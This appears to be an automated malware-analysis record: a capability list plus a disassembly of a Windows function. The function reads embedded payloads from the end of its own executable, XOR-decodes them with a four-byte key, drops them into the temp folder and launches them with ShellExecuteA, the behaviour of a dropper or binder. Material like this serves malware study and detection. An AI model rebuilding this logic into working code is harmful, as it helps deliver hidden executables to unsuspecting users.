Function at 0x4013b0
Capabilities:
Create process on windows
Get common file path
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x274
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
lea eax, [ebp - 0x234]
mov dword [esp + 4], eax
mov dword [esp], 0x104
call sym._GetTempPathA_8
sub esp, 8
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x130]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
lea eax, [ebp - 0x130]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0x18], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], 0xfffffff4
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._SetFilePointer_16
sub esp, 0x10
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x2c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0xc
lea eax, [ebp - 0x240]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x23c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._SetFilePointer_16
sub esp, 0x10
mov dword [ebp - 0xc], 0
jmp 0x4016fa
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x2c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0xc
lea eax, [ebp - 0x24c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x248]
inc eax
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x248]
inc eax
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp - 0x24c]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x2c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x248]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x2c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
lea eax, [ebp - 0x24c]
add eax, 8
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x244]
test eax, eax
je 0x40161a
mov dword [ebp - 0x10], 0
jmp 0x40160f
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
add edx, eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1c]
add eax, ecx
mov cl, byte [eax]
mov eax, dword [ebp - 0x10]
mov ebx, eax
and ebx, 3
mov eax, dword [ebp - 0x24]
add eax, ebx
mov al, byte [eax]
xor eax, ecx
mov byte [edx], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x248]
cmp eax, dword [ebp - 0x10]
ja 0x4015e7
mov eax, dword [ebp - 0x20]
mov dword [esp + 8], eax
lea eax, [ebp - 0x234]
mov dword [esp + 4], eax
lea eax, [ebp - 0x130]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.DLL_PathCombineA]
call eax
sub esp, 0xc
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
lea eax, [ebp - 0x130]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x248]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x28]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov dword [esp + 0x14], 5
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x130]
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
call sym._ShellExecuteA_24
sub esp, 0x18
inc dword [ebp - 0xc]
mov eax, dword [ebp - 0x240]
cmp eax, dword [ebp - 0xc]
ja 0x4014dd
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, 0
mov ebx, dword [ebp - 4]
leave
ret 0x10